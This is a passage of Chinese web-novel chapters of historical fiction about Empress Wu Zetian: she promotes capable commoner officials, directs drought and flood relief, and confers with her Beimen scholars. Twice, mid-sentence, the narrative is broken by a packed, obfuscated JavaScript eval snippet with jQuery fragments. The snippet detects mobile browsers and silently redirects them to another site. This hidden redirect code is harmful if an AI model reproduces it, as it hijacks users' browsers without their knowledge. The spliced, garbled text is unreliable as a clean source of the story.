“不谙,可以学。”武则天语气不容置疑,“谁又是生来便谙熟政务的?在地方能做出政绩,便证明其有治事之能。调入中枢,给予平台,假以时日,自可成器。总好过那些尸位素餐、只知清谈的膏粱子弟。至于众望……”她略一停顿,声音更显清晰,“能安黎庶、富仓廪、清吏治,便是众望所归!此事,不必再议。吏部按此办理,尽快拟定升迁名单及职位。”
“臣遵旨。”许敬宗与卢承庆齐声应道。他们明白,皇后这是要借此机会,大力提拔一批有实际政绩、出身相对寒微或并非顶尖门阀的官员,既补充新鲜血液,也借此削弱一些世家大族对地方和某些中上层职位的垄断。
说完地方官,话题转向了即将到来的科举。武则天对科举极为重视,视其为打破门阀垄断、选拔天下寒俊的最重要途径。她仔细询问了今科主考官人选、考试科目、以及各地举子的情况。
“今科应试举子中,可有特别出众者?”她问卢承庆。
卢承庆早有准备,禀道:“回殿下,据各道解送名录及在京风闻,有数人颇负才名。如并州文水人物炯,少年聪颖,诗文俱佳;宋州宋城人宋璟,通晓经史,尤明吏治,且有政论文章流传,务实敢言;陕州硖石人姚崇,文武兼资,不仅文才出众,更喜读兵书、**吏事,有经世之志。此数人,皆被视为今科状元之有力角逐者。”
“姚崇……宋璟……”武则天低声重复这两个名字,目光扫过手边北门学士整理的一些举子投献的文章和策论,其中恰好有姚崇的《平边策》和宋璟的《谏奢靡疏》。她拿起翻阅,姚崇的文章条陈吐蕃战后安抚、边镇防御、开发河西之策,虽略显稚嫩,但眼光独到,颇具胆识;宋璟的奏疏则直指时下官员奢靡之风,言辞恳切,说理透彻。
“纸上得来终觉浅。”武则天放下文章,对许敬宗和卢承庆道,“科举取士,文章固是根本,然治国需实干之才。今科策问,可多涉及时务,如漕运、边备、刑狱、农桑,观其见识格局,而非仅以骈俪文采定高下。主考官人选,务必选用公正博学、不囿于门户之见者。本宫要的,是能办事的进士,不是只会吟风弄月的书生。”
“殿下明见。臣等必当谨遵。”两位重臣连忙应下,心中对皇后取士的标准有了更清晰的认识。
数日后,数道由武则天亲自过目、以皇帝名义发出的诏书,从宫中发往各地及有关部门,在朝野引起了不大不小的波澜。
其一,曹州刺史王珪,因“治绩平庸,有负圣恩”,罢刺史职,左迁为灵州别驾。此令一出,不少靠着门荫混日子、政绩平平的官员都感到脖颈一凉。
其二,一批在地方任上政绩突出的官员得到越级提拔。如原清河县令,因劝课农桑、兴修水利,使一县仓廪充实,擢升为沧州刺史;原华州司马,因明察秋毫、屡破疑案,调任刑部员外郎;原汴州参军(接替被查的李怀远者暂代),因在清查田亩、抑制豪强中表现刚直,被破格提拔为监察御史……这些**多出身中等或寒门,凭着实干一步步升上来,此次得到重用,无不感激涕零,誓言效忠。
其三,关于科举的诏令明确,今年策问将加重时务策分量,并令主考官、阅卷官“务求实学,毋以浮华定去取”。这给了许多有真才实学、但不擅长华丽词章的寒门士子更多希望。
开春之后,咸亨四年科举如期举行。放榜之日,杏园喧闹。状元果真是并州杨炯,榜眼是宋州宋璟,探花则是陕州姚崇。三鼎甲之中,宋璟、姚崇皆以时务策见解精深、文风朴实切用而备受称道,尤其是姚崇,其答策中关于边务、财政的见解,据说深得帘后赏识。
按例,新科进士们需参加吏部关试(注:唐代科举中第后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029851|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还需经吏部考试方能授官),然后等候授职。这一次,他们的命运与以往似乎有些不同。吏部的授职建议呈送到武则天面前时,她做了不少调整。
状元杨炯,文才飞扬,被授予秘书省校书郎,清贵而不失体面,符合惯例。而榜眼宋璟,则被直接授予京兆府司录参军,这是一个负责京城刑狱、户籍等重要事务的实权职位,品级虽不算极高,但位置关键,极能锻炼人。探花姚崇,授职更令人意外——大理寺评事。大理寺掌刑狱复审,评事负责详断案件,需要精通律法、明察秋毫,这显然与姚崇在策问中表现出的干练和洞察力有关。
这还不止。武则天还特意从新科进士及往届有才名但未得重用的官员中,选拔了十余人,授予“监察御史里行”、“拾遗”、“补阙”等官职。这些官职品级不高,但权限不轻,有风闻奏事、监督百官之权,且常在御前行走,易于升迁。这十余人,大多出身寒微或中等家族,锐意进取,且对皇后破格提拔感恩戴德。
姚崇、宋璟等人入朝谢恩那日,武则天在紫宸殿侧殿(未垂帘,以示对新进之士的礼遇)接见了他们。她并未多言,只是勉励他们“恪尽职守,清廉自守,以所学报效国家”,但那份沉静威严的气度,和清晰明确的期望,已足以让这些年轻官员心潮澎湃,感到遇上了明主。
李瑾在枢密院也听说了这些人事变动。他放下手中的军报,对前来议事的兵部侍郎郭待封(已调回中枢)淡淡道:“皇后殿下,这是在为将来布局了。”
郭待封点头,低声道:“国公明见。擢拔干才,尤其是寒门才俊,既能收天下士子之心,又能制衡朝中盘根错节的世家势力。姚崇、宋璟等人,皆非池中之物,假以时日,必成栋梁。只是……如此大刀阔斧,恐招致一些旧族不满。”
“不满又如何?”李瑾目光投向窗外渐绿的柳枝,“治国需才。有能者上,平庸者下,天经地义。只要行事公允,于国有利,些许物议,翻不起大浪。皇后殿下……深谙用人之道啊。”他语气平静,听不出太多情绪。
他明白,这不仅仅是用人,更是植根。武则天正在将自己的影响力,通过这批她亲自选拔、破格提拔的年轻官员,深深植入帝国的官僚体系之中。他们现在官职不高,但身处关键位置,充满朝气,未来可期。假以时日,他们将成为她最坚实的拥护者和执政基础,逐渐取代那些暮气沉沉、与世家利益捆绑过深的旧官僚。
朝堂之上,因这些人事变动引发的涟漪渐渐扩散。有人暗喜,有人忧惧,有人冷眼旁观。但无论如何,一种新的气象,伴随着这批年轻官员的登场,开始在帝国的肌体中萌发。他们或许还不知道,自己已被一双洞悉一切的眼睛选中,将成为未来数十年帝国政坛上耀眼的新星,而那双眼睛的主人,正高坐于帘幕之后,冷静地编织着她的权力与人才之网。
“用人之道,在明。明其才,用其长,知其心,御其力。”这是后来一位史家对武则天用人策略的评价。而此刻,这张大网,才刚刚开始编织。姚崇、宋璟,这些在历史上将留下赫赫名声的人物,他们的**生涯,就在这个春天,因一位女人的赏识和提拔,悄然拉开了序幕。与此同时,另一些人的命运,也在这“明”与“不明”之间,悄然转向。
第185章 赈灾显仁心
咸亨四年的春夏之交,仿佛是对武则天执政能力的又一次严峻考验。自二月起,先是河东道南部、河北道西部,逾月不雨,田土龟裂,禾苗焦枯,眼见着春播无望,夏收堪忧。紧接着,三月中,淮南、江南诸道又阴雨连绵,江河暴涨,多处堤坝溃决,淹没农田庐舍,流民载道。一时间,北旱南涝,天灾几乎同时袭向大唐腹地。告急的奏疏,如同雪片般飞向长安,堆满了紫宸殿侧殿的书案。
“殿下,这是今日新到的六百里加急。”高延福捧着一叠贴着朱红鸡毛标记的奏疏,轻轻放在武则天案头,忧心忡忡,“河东观察使再报,汾、晋、潞、泽等州,旱情尤烈,井泉多竭,人畜饮水艰难。已有流民结伙,往南觅食。地方官请求朝廷速拨粮赈济,开仓放粮,并祈雨。”
“祈雨?”武则天放下手中正在批阅的一份工部文书,揉了揉眉心,声音里听不出情绪,但熟悉她的人能察觉那一丝压抑的凝重,“若祈雨有用,何来赤地千里?吏部前日呈报的河东道官员考课,这几个州,上等者寥寥,中下者居多。天灾固可畏,人祸尤可恨!去岁各地常平仓、义仓储粮几何,户部、司农寺可有核实上报?为何灾情初显,便无粮可放,非要等朝廷千里调运?”
她一边说,一边快速翻开另一份奏疏,是淮南节度使的急报,言及江水倒灌,扬、楚、滁、和三州受灾最重,圩田尽没,灾民数十万,急需赈济、安置,并请求拨款修复水毁堤防、疏浚河道。
“旱涝并发,南北交困……”武则天低声自语,目光扫过巨大的舆图,手指在河东、淮南的位置划过。殿内侍立的元万顷、刘祎之屏息静气,知道皇后殿下正在飞速权衡。
片刻,她抬起头,目光重新变得锐利而坚定:“传本宫旨意,不,是陛下旨意——”她纠正了一下措辞,但语气不容置疑,“即刻召开紧急朝议,在京三品以上官员、相关部寺主官,半个时辰后,紫宸殿议事。”
紧急朝会在压抑的气氛中开始。皇帝病重,自然无法出席,御座空悬。那道明黄纱帘再次垂下,帘后,武则天的身影端坐如钟。帘前,宰相、尚书、侍郎、九卿等重臣济济一堂,个个面色凝重。
户部尚书首先出列,声音干涩地禀报了太仓、各地常平义仓的储粮情况,结论是,若同时应对南北大灾,存粮捉襟见肘,尤其是需要长途转运至河东的粮食,运费损耗巨大,且可能引发沿途粮价波动。
工部尚书则汇报了南方水毁堤坝的粗略估算,所需钱粮人力同样是个天文数字。
朝堂上一时陷入沉默,只有沉重的呼吸声。天灾无情,国库有限,这是摆在他们面前的残酷现实。
“诸卿可有良策?”帘后传来武则天平静的声音,听不出慌乱。
侍中许敬宗出列,先说了些“陛下仁德,皇后圣明,天必佑唐”的套话,然后建议:“当务之急,乃赈济灾民,防止生变。臣以为,可先开太仓及关中、河南诸仓,调粮应急。同时,诏令受灾州县,富户绅商,捐粮捐钱,以补不足。再遣得力大臣,分赴各道,督办赈务,抚恤灾民。”
中书令李义府补充道:“可令未受灾之江南东道、山南东道,加征部分漕粮,转运至淮南。河东之旱,或可从河北、河南临近州县调拨。然远水难救近火,恐有不及。”
“加征?”御史大夫皱眉,“江南、山南今岁亦非丰年,加征恐激起民变。且漕运损耗,十去二三,实非良策。”
兵部尚书刘仁轨沉声道:“灾情如火,流民若聚,易生盗贼,乃至民变。当令受灾各道州府,加强戒备,弹压地方,必要时可调临近府兵协助维持秩序,防止奸人趁机作乱。”
这时,帘后的武则天开口了,她先肯定了刘仁轨关于维持秩序的考虑,但话锋一转:“然治灾如治病,堵不如疏,防不如抚。若一味弹压,而不解民倒悬之苦,无异于抱薪救火,必致燎原。”
她略一停顿,清晰地下达了一系列指令,条理分明,直指要害:
“第一,即刻以陛下名义,颁布《赈灾恤民诏》。宣布河东、淮南等受灾严重州县,减免本年夏税,并视灾情程度,蠲免部分秋税。开常平仓、义仓,全力赈济,务必使灾民有粥可食,不至饿殍遍野。诏令各州县,凡有囤积居奇、哄抬粮价者,严惩不贷,家产充公,用于赈灾。”
“第二,户部、司农寺,立即统筹天下粮储。计算太仓、含嘉仓、洛口仓及各道正仓、常平仓、义仓存粮,拟定详细调拨方案。河东之粮,先就近从河北、河南、关中诸仓调拨,不足部分,由太仓补足。淮南之需,由江南西道、山南东道、乃至蜀中调运。漕运损耗,计入成本,但需严查押运官吏,杜绝侵吞!”
“第三,工部、都水监,即刻选派精通水利之员,携工匠、物料,赶赴淮南受灾各州,协助地方官修复堤防,疏浚河道,排干积水。所需钱粮,由国库拨付,亦可鼓励民间富户捐资,朝廷给予表彰。水退之后,即刻组织灾民补种荞麦、蔬菜等晚季作物,减少损失。”
“第四,着御史台、吏部,选派清廉干练、敢言之官,为巡察使,分赴各道。一为监察赈济钱粮发放,若有官吏克扣、贪墨,或赈济不力、处置失当者,五品以下,巡察使可先行拿下,奏报处置;五品以上,即刻锁拿进京!二为安抚灾民,宣示朝廷恩德,稳定人心。三为实地勘察灾情,据实奏报,勿得隐瞒!”
“第五,传令受灾州县,可组织尚有劳力之灾民,以工代赈。或修路,或筑堤,或兴修水利,由官府供给口粮,略付工钱。既可安置流民,防其生事,又可兴修公共,一举两得。”
“第六,着太医署,配制防疫避瘟之药,分发灾区,防止大灾之后必有大疫。”
这一连串指令,从减免赋税、开仓放粮,到调拨运输、工程修复,再到监察安抚、以工代赈、防疫防灾,几乎涵盖了赈灾的所有环节,思路清晰,措施具体,既有雷霆手段(严惩贪墨、囤积),又有怀柔政策(减免赋税、以工代赈),更考虑到了灾后重建和长远影响。
殿中众臣,包括许敬宗、李义府等,都听得有些发怔。他们知道皇后理政果断,却没想到面对如此复杂的南北并发大灾,她能在这么短时间内,就拿出如此系统、周全的应对之策。这绝非临时起意,而是平日就对国家仓储、运输、水利、吏治有深入了解,方能成竹在胸。
短暂的沉默后,户部、工部、吏部、御史台的官员纷纷出列,就具体细节进行补充和确认。武则天一一回应,遇到专业问题,便直接点名相关官员询问,决策快而不乱。
“梁国公,”她忽然点了李瑾的名,“神策军新募士卒,多有来自北地。今河东大旱,恐其家眷受灾,军心不稳。枢密院需妥为安抚,可酌情发放部分钱粮,助其家眷度荒。另,各地若有流民**,临近驻军需提高戒备,但非万不得已,不得擅动刀兵,以防激化矛盾。军粮转运,亦需优先保障灾区,不得与民争食。”
李瑾出列,拱手道:“臣遵旨。枢密院已行文各军,着将领详查士卒家眷受灾情形,上报安抚。边镇及内地驻军,均已严令,无枢密院及陛下、殿下明旨,不得擅离防区,更不得干预地方赈务。军粮转运,已严令押运官,避让赈灾粮队,违者重处。”
“甚好。”武则天声音稍缓,“灾情紧急,诸卿当同心协力,共度时艰。赈灾一切事宜,由本宫总摄,各部各司其职,不得推诿延误。凡有**、延误时机者,无论官职,严惩不贷!退朝后,各依所议,即刻办理!”
“臣等遵旨!”众臣齐声应诺,气氛肃然。这一次,朝臣们行礼时,那声“皇后殿下”中,除了以往的敬畏,似乎多了一丝此前少有的、发自内心的叹服。面对如此大灾,这位女主的表现,沉着、果断、周密,甚至比许多久经宦海的老臣,更有章法,更有担当。
诏令以最快的速度发出。一道道盖着皇帝玉玺(实则由武则天用印)的敕书,被快马加鞭送往各地。来自中央的巡察使们也迅速出发,其中不乏姚崇、宋璟等新晋的年轻官员,他们被赋予了监督赈灾、安抚灾民的重任,这既是考验,也是机遇。
接下来的日子里,武则天的日程更加紧张。她每日都要听取户部、工部、司农寺关于钱粮调拨、工程进展的汇报,审阅各地发回的灾情和赈济情况奏报,批阅巡察使们的密折。她尤其关注钱粮是否
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029852|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真的发到了灾民手中,反复严令,若有贪墨,举报者重赏,贪墨者立斩。
一份来自河东道的密报让她震怒。有巡察使密奏,某州司马与仓曹勾结,在赈灾粮中掺入沙土糠秕,克扣斤两,中饱私囊,导致灾民领到的粮食根本无法果腹,怨声载道。
“混账!”武则天罕见地在帘后拍了案几,声音冰冷,“灾民嗷嗷待哺,此等蠹虫竟敢在救命粮上动手脚!传旨,该州司马、仓曹,即刻锁拿,就地处斩,悬首示众!其家产全部抄没,充入赈灾钱粮!该州刺史,监管不力,革职查办!将此案通报全国,再有敢犯者,以此为鉴!”
这道严旨随着处置结果一同公布,天下震动。贪墨赈灾粮的官员被迅速正法,家产抄没的消息传到灾区,灾民们无不痛哭流涕,朝着长安方向叩拜,高呼“陛下圣明,皇后仁慈”。而各地官员更是凛然,赈济事务再不敢有丝毫怠慢。
在淮南,大水渐渐退去,朝廷拨付的钱粮和工匠抵达,灾民们被组织起来,以工代赈,修复家园,补种作物。虽然依旧艰难,但希望重新燃起。巡察使姚崇,不辞辛劳,深入灾情最重的乡野,亲自监督粥厂,查核户口,防止胥吏舞弊,处事公允,很快赢得了灾民的信任。
在河东,从各地调拨的粮食陆续运到,虽然不足以让所有人吃饱,但至少饿死的**大减少。朝廷减免赋税的诏令,更给了绝望中的农民一丝喘息之机。巡察使宋璟,则着力打击囤积居奇的奸商,平抑粮价,并鼓励富户捐输,设立粥棚,秩序渐渐稳定。
武则天还做了一件颇得民心的小事。她下诏,令宫中节省用度,自皇后以下,所有嫔妃、宫人,月例减半,省出的钱粮,用于在灾区设立“慈幼堂”,专门收养因灾失去父母亲人的孤儿。此诏一出,朝野称颂,民间更是感念不已。
李瑾在枢密院,也严格执行了武则天的指令,妥善安抚军中北地籍士卒,并严令各地驻军不得扰民。神策军大营甚至拨出部分存粮,在长安城外设棚施粥,虽然杯水车薪,但也赢得了一些声誉。他冷眼旁观,看着武则天以惊人的效率和铁腕,将一场可能引发大动荡的天灾,逐渐平息下去。她的手段,既有帝王的决断,也不乏女性的细致与悲悯。尤其是设立“慈幼堂”和严惩贪官这两件事,一柔一刚,极大地争取了民心。
数月之后,最艰难的时刻终于过去。虽然灾痕犹在,但大规模的流民潮被遏制,饿殍遍野的惨剧没有发生,社会秩序基本稳定,灾后重建也在有序进行。各地的谢恩表、万民伞(注:百姓为表彰地方官所送的伞,上写名字,此处指百姓对朝廷的感恩)开始陆续送达长安,虽然其中不乏地方官讨好上官的成分,但民间对朝廷,尤其是对“仁慈圣明”的皇后,感念之情是实实在在的。
一次朝会上,有大臣提及民间称颂皇后仁德,武则天在帘后沉默片刻,缓缓道:“本宫代陛下摄理国政,见百姓受苦,心实难安。所做一切,不过尽人臣本分,为陛下分忧而已。天灾无情,人或有失,但朝廷必不与民争利,必以生民为念。此心此志,天地可鉴。”
这番话,经由官员之口传扬出去,更添其贤德之名。朝臣们发现,经过此次大灾的考验,皇后武则天的权威,不仅在朝堂更加稳固,在民间的声望,也达到了一个新的高度。人们开始习惯于接受她的诏令,信赖她的决策。而那“仁心”与“铁腕”的结合,也让许多原本对她“牝鸡司晨”抱有疑虑的士人,内心产生了微妙的变化。
或许,在皇帝病重、太子年幼的艰难时刻,有这样一位果断睿智、心系黎民的皇后主持大局,对天下苍生而言,未尝不是一件幸事?至少,在这场南北交困的大灾面前,她没有让百姓失望。
李瑾站在枢密院的窗前,望着雨后初晴的长安天空,心中默然。他想起不久前看到的一份来自淮南的密报,描述了灾民领取到未掺沙土的赈粮时,跪地痛哭、高呼“皇后千岁”的情景。他知道,这些眼泪和呼喊,比任何军队的拥护,都更能奠定权力的根基。天后之威,已深入朝堂;而此次赈灾所显之“仁”,或许正将她权威的根系,更深地扎向天下百姓的心中。
第186章 北门议政忙
当帝国庞大的官僚机器在武则天的意志下高效运转,朝堂之上“垂帘听政”成为常态之际,另一套更为隐秘、却也更为核心的决策支持系统,正在大明宫深处的北门——也就是宫城后门,玄武门附近——悄然运作,日益繁忙。这里,便是“北门学士”们日常当值、议政、草诏之所,一个名义上隶属于弘文馆或秘书省,实则直接听命于皇后武则天,独立于三省六部常规体系之外的“内朝”雏形。
北门学士的设立,并非一朝一夕。早在数年前,武则天为辅助李治处理政务,便已开始招揽文采出众、学识渊博的文人学士,如元万顷、刘祎之、范履冰、苗神客等人,命他们出入禁中,参与奏议,起草诏敕。彼时,他们更多是充当皇帝的文学侍从和顾问。而随着李治风疾日益沉重,武则天全面摄政,北门学士的角色发生了根本性转变。他们不再仅仅是顾问或秘书,而是逐渐成为武则天最重要的决策智囊团、政策研究室和私人秘书班子。
之所以选择北门(玄武门)附近,原因颇多。此处靠近后宫,方便武则天随时召见;位置相对僻静,远离前朝喧嚣,便于机密议事;且由皇帝亲信禁军把守,安全无虞。一间原本用于存放典籍的偏殿被腾出,略加改造,便成了北门学士的“政事堂”。殿内陈设简单,却堆满了从秘书省、弘文馆乃至各部调来的典籍、档案、图册,以及各地上报的奏疏副本、历年统计文书。空气中常年弥漫着墨香与旧纸的气息。
这一日午后,当外朝官员们结束上午的忙碌,各自回衙署或归家时,北门学士的值房内,却正是灯火通明,讨论热烈之时。
武则天并未坐在高高的御座或帘幕之后,而是坐在一张宽大的书案后首,面前摊开着数份文书。她今日未着繁复朝服,只一身鹅黄色常服,发髻轻绾,更显利落。下首左右,坐着元万顷、刘祎之、范履冰、苗神客,以及新近被选拔加入的著作佐郎周思茂、太子文学胡楚宾等,总计七八人。这些人官职普遍不高,多在五六品之间,但无一不是饱学之士,或精于经史,或熟稔律法,或长于文章,更关键的是,他们相对年轻,锐意进取,且对武则天这位不拘一格提拔他们、给予他们参与核心机要机会的皇后,抱有知遇之恩和忠诚。
“今日召诸卿来,是议一议这‘土断’与‘括户’之事。”武则天开门见山,将手中一份奏疏递给身旁的元万顷,示意他传给众人阅览。“此乃御史中丞崔谧所上密奏。言及关东、河北等地,自隋末战乱、本朝初定以来,户籍紊乱,隐户众多。豪强地主兼并土地,荫庇人口,逃避赋税,朝廷课户日减,而租庸调之入,多赖自耕小民,民力困竭。长此以往,非但国库空虚,更恐生民变。”
众人传阅着奏疏,面色都凝重起来。这“土断”(厘定土地权属,核定户籍)与“括户”(清查隐漏人口)乃是历代王朝都试图推行,却又往往阻力重重、难以彻底的两大难题,牵涉利益盘根错节,尤其是那些地方豪强、世家大族。
刘祎之率先开口,他性格较为持重:“殿下,崔中丞所言,确是实情。然此事积弊已久,牵一发而动全身。豪强地主,多与朝中权贵、地方官吏有千丝万缕联系。强行推行,恐激起强烈反弹,甚至激起民变——那些被荫庇的客户、部曲,未必愿意脱离豪强,重新成为国家编户,承担赋役。”
范履冰则道:“刘兄所言有理。然此弊不除,国本动摇。依臣愚见,此事当行,但不可操之过急,更不可全面铺开。或可选一二试点,如河南道、河北道中,豪强势力相对薄弱、田亩隐漏尤为严重之州县,先行试点。派干员主持,徐徐图之。一则,可积累经验;二则,可观望各方反应;三则,即便有失,亦可控制影响。”
“范学士所言,老成谋国。”苗神客接口,他心思更为缜密,“试点之外,还需在律法、政策上加以配合。比如,可适当降低新括之户初期的赋税额度,给予优待,吸引隐户自愿登录。对检举隐户、土地者,予以奖励。对阻挠土断、括户之地方豪强、胥吏,则需严惩。此谓‘软硬兼施’。”
新加入的周思茂较为年轻,血气方刚,直言道:“诸位前辈所虑周详。然学生以为,此事关乎国朝财赋根本,拖延愈久,积弊愈深,尾大不掉。当以霹雳手段,方显菩萨心肠。可仿效前朝,制定严厉法令,限期自首,逾期严惩。豪强之势,再大,能大过朝廷王法?能强过禁军刀锋?”
他此言一出,几位年长的学士都微微蹙眉,觉得过于激进。武则天却听得仔细,不置可否,转而问一直沉吟不语的元万顷:“元卿,你精熟典故,前朝于土断、括户,有何成败得失可资借鉴?”
元万顷捋了捋短须,缓缓道:“殿下,历朝历代,行土断、括户者,成功者少,反复者多。西晋武帝时,曾行‘占田制’、‘课田制’,初有成效,然未能持久。北魏孝文帝行均田,成效显著,然赖其强力推行及迁都之机。本朝初年,亦曾数次括户,然或因战事,或因顾忌,皆未能彻底。究其根本,一在利益盘根错节,触动太大;二在法令虽严,执行不易,地方官吏往往与豪强勾结,敷衍了事;三在百姓困于豪强庇护,或畏惧赋役,或安于现状,主动配合者少。”
他顿了顿,继续道:“故臣以为,欲行此事,需有三要。一曰‘名正言顺’,需有充足理由,如上承天意(如灾异示警),下顺民心(如均平赋役),或借大典、祥瑞之机推行,减少阻力。二曰‘准备周密’,需详定法令,细划章程,慎选官吏,备足钱粮,甚至预做军事威慑。三曰‘循序渐进’,如范学士所言,可先试点,再推广,遇阻则缓,得势则进,不可希冀一蹴而就。”
武则天听得频频点头。北门学士们的讨论,从问题实质、现实困难,到历史经验、具体策略,各抒己见,虽偶有争执,但皆言之有物,且能互补。这远比外朝会议上,大臣们或瞻前顾后、或空谈道德、或囿于部门利益的议论,要深入和务实得多。
“诸卿所言,皆有其理。”她总结道,目光扫过众人,“土断、括户,势在必行,然确需慎之又慎。周思茂所言霹雳手段,是决心;范履冰、苗神客所言循序渐进、软硬兼施,是方法;元万顷所言名正言顺、准备周密,是前提。此事,可并行不悖。”
她略微思索,便开始下达指令:“刘祎之,你精于典章,着即收集整理自北魏至本朝所有关于田制、户籍、赋役之法令、诏书、案例,详加考辨,归纳得失,拟一份条陈,供本宫参详。”
“范履冰,你心思缜密,着手草拟一份《劝农安民、清查隐漏诏》的草稿,主旨在于鼓励农桑、均平赋役、安辑流散,将括户之意蕴含其中,语气以抚慰、劝导为主,暂不言明严惩。”
“苗神客,你与户部、吏部熟悉,设法调阅河南、河北两道近十年之户口、田亩、赋税档案,尤其是变化异常之州县,列出清单,圈定数处可作为试点之候选。”
“元万顷,你总领此事。统筹诸卿所务,并留意朝野对此事之风声议论,尤其是世家大族、地方大员之态度,随时报我。”
“周思茂、胡楚宾,”她看向两位年轻人,“你二人协助元卿,并多留意地方士子、寒门官员对此事之看法,收集相关议论、文章。此事关乎国本,亦关乎天下寒俊之前程,需知其心声。”
众人肃然领命,知道这又是一项重大且敏感的课题。皇后将此事交由他们秘密筹划,而非直接下旨交由外朝商议,显然是要先行研究透彻,掌握主动,待时机成熟,再以成熟方案推行,减少阻力。
布置完土断括户之事,武则天又拿出另一份文书,是关于修改《氏族志》的初步构想。唐初编纂的《氏族志》以关陇军事贵族和山东旧士族为核心,排列氏族高下,这在一定程度上固化了社会阶层,不利于寒门上升,也与武则天大力提拔寒门才俊的政策相悖。她有意重修,重新评定天下氏族,贬抑旧族,抬高新贵与当朝冠冕。
此议一出,北门学士们更加兴奋。这触及了门阀政治的根本,若能成功,其意义不亚于一次深刻的社会变革。众人再次展开激烈讨论,从历史渊源、现实阻力、具体操作、可能后果等方面,进行了深入剖析。武则天同样认真听取,并不时发问或引导。
这样的会议,往往持续一两个时辰。有时是讨论具体的政策难题,如漕运改革、币制调整、边镇布防;有时是研究经史典故,为某项决策寻找理论依据;有时是分析官员奏疏,预判朝臣反应,拟定应对策略;有时则是为武则天起草重要的诏书、制诰、祭文,这些文章不仅要求文辞华美,更需符合政治需要,微言大义。
北门学士们凭借其学识和才华,为武则天提供了至关重要的智力支持。他们帮助她梳理庞杂的政务,提供专业的政策建议,起草具有高度政治技巧的文书,更在意识形态上为其执政提供合法性论证。他们就像是武则天的“外脑”,极大地弥补了她作为女性,在接触外朝信息和传统士人网络方面的某些不足,也让她能够绕过或制衡三省六部那些可能阳奉阴违的官僚机构。
更重要的是,通过这种方式,武则天将一批有才干、有野心、且忠诚于自己的年轻文士,紧密地团结在自己周围,形成了一个独立于传统朝堂体系之外的决策核心。他们对她的忠诚,源于知遇之恩,也源于共同的政治理想(打击门阀、改革弊政、巩固皇权)。这种关系,比单纯的主仆或君臣更为牢固。
当夕阳西斜,会议结束时,武则天通常会留下元万顷或刘祎之,单独商议一些更为机密或敏感的事务。而其他学士,则会领了各自的任务,回到堆积如山的典籍档案中,继续查阅、整理、起草,常常工作到宫门下钥。
李瑾对北门学士的存在和作用心知肚明。他有时在紫宸殿议事,能明显感觉到武则天对某些复杂问题的准备异常充分,对反对意见的反击往往能引经据典、直指要害,这背后显然有北门学士的功劳。他并未感到威胁,反而认为这是一种必要的政治智慧。在皇帝病重、太子年幼、女主当国的特殊时期,一个高效、忠诚、相对独立的决策参谋机构,对维持朝局稳定、推动政务运行至关重要。只要这个机构不直接干涉军权,不触碰他的核心领域,他便乐见其成。他甚至有时会通过某些渠道,将自己对某些政务的看法,委婉地传递给北门学士中与他关系尚可的个别人,间接影响决策。
夜色渐深,北门学士值房的灯火依旧亮着。这里没有紫宸殿的庄严肃穆,没有朝堂上的唇枪舌剑,只有翻动书页的沙沙声,毛笔在纸上的书写声,以及偶尔低低的讨论声。但就是在这看似不起眼的偏殿里,一项项可能影响帝国未来走向的政策正在被仔细推敲,一份份将要颁行天下的诏敕正在被精心打磨。这里,是武则天除了帘幕后的御座之外,另一个真正掌控权力、塑造帝国的大脑所在。而“北门议政忙”的景象,也成为了这个特殊时期,大明宫内一道独特的、充满活力的风景线。
第187章 瑾信传策略
盛夏的蝉鸣,在枢密院后堂的庭院里聒噪不休,却穿不透厚重窗扉与竹帘,只在窗外留下一片模糊的背景音。堂内荫凉静谧,李瑾独坐于宽大的紫檀木书案后,面前摊开的并非军报舆图,而是一封刚拆阅不久、来自洛阳行宫的密信。信是皇后武则天亲笔所书,内容并非军国急务,而是询问他对“土断括户”、“修订《氏族志》”以及“关中漕运”等几项重大政务的看法,语气是商讨的口吻,但字里行间,显然期待他这位枢密使、同中书门下三品,能给出切实可行的建议。
李瑾将信纸轻轻放下,指节在光滑的案面上无意识地敲击着。窗外浓密的梧桐叶影,随着微风在他沉静的脸上缓缓移动。前线?不,他现在身处长安枢密院,稳坐中枢。但皇后用“从前线传回”这样的说法,或许是一种隐喻,亦或是提醒他虽掌军权,但眼界当不局限于金戈铁马。她是在询问,也是在试探,更是一种姿态——将他视为重要的政务顾问,而不仅仅是军事统帅。
他深知,武则天通过北门学士,已能获取大量信息和政策建议。此刻专门来信询问,意义非凡。这既是对他政治智慧的尊重和倚重,也是一种维系联盟、巩固“三圣共治”微妙平衡的手段。他必须慎重回应,既展现价值,又恪守分际。
沉吟良久,他铺开一张特制的、质地坚厚、印有暗纹的笺纸,提笔蘸墨。他没有用官方奏疏的刻板格式,也未用过于私密的语气,而是以一种介于正式奏对与同僚通信之间的、清晰而恳切的笔调,开始书写。
首先是关于“土断”与“括户”。
“臣瑾谨奏皇后殿下:伏闻殿下欲厘定田亩,清查隐户,此诚富国强兵、固本安民之要务也。然积弊既深,施行不易,古来能竟全功者鲜矣。臣愚见,此事之难,难在‘利’、‘力’、‘信’三字。”
他笔锋稳健,条分缕析:
